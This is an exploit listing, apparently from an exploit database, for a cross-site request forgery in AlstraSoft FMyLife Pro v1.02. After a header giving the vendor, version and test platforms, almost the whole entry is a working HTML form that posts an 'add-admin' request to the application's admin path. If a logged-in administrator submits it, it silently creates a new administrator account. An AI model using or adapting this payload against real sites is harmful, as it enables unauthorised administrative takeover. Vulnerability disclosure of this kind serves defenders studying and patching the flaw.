# # # # # # Exploit Title: AlstraSoft FMyLife Pro v1.02 Script - Cross-Site Request Forgery (Add Admin) # Google Dork: N/A # Date: 04.02.2017 # Vendor Homepage: http://www.alstrasoft.com/ # Software Buy: http://www.alstrasoft.com/fmylife-pro.htm # Demo: http://www.tellaboutit.com/ # Version: 1.02 # Tested on: Win7 x64, Kali Linux x64 # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Mail : ihsan[beygir]ihsan[nokta]net # # # # # # Exploit : <html> <body> <h2>Add an Administrator</h2> <form action="http://localhost/[PATH]/admin/" method="post"> <div id="add-admin-form"> <input type="hidden" name="action" value="add-admin" /> <label for="username">Username:</label> <input type="text" id="username" name="admin-username" value="" /> <div class="spacer"></div> <label for="password">Password:</label> <input type="password" id="password" name="admin-password" value="" /> <div class="spacer"></div> <input type="submit" name="Sumbit" name="add-admin" id="add-admin" value="Add Administrator" /> </div> </form> </body> </html> # # # # #